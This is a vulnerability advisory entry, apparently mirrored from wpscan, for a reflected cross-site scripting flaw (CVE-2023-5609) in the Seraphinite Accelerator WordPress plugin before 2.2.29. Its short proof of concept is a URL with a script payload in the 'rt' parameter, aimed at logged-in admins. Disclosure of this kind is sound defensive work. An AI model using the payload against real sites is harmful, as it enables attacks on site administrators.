Lucene search
Krzysztof ZającWPVDB-ID:AAC4BCC8-B826-4165-AED3-F422DD178692HistoryOct 27, 2023 - 12:00 a.m.
Seraphinite Accelerator < 2.2.29 - Reflected XSS
2023-10-2700:00:00
Krzysztof Zając
wpscan.com
seraphinite accelerator
reflected xss
parameter sanitization
cross-site scripting
high privilege users
admin
0.0005 Low
EPSS
Percentile
17.1%
Description The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
PoC
Make a logged in admin open https://example.com/?rt=<script>alert(/XSS/);</script>&seraph;_accel_at=M_TEST
| CPE | Name | Operator | Version |
|---|---|---|---|
| eq | 2.2.29 |
Related
cve
cve
CVE-2023-5609
2023-11-20 19:15:09
cvelist
cvelist
CVE-2023-5609 Seraphinite Accelerator < 2.20.29 - Reflected XSS
2023-11-20 18:55:06
wpexploit
wpexploit
Seraphinite Accelerator < 2.2.29 - Reflected XSS
2023-10-27 00:00:00
prion
prion
Cross site scripting
2023-11-20 19:15:00
nvd
nvd
CVE-2023-5609
2023-11-20 19:15:09
wordfence
wordfence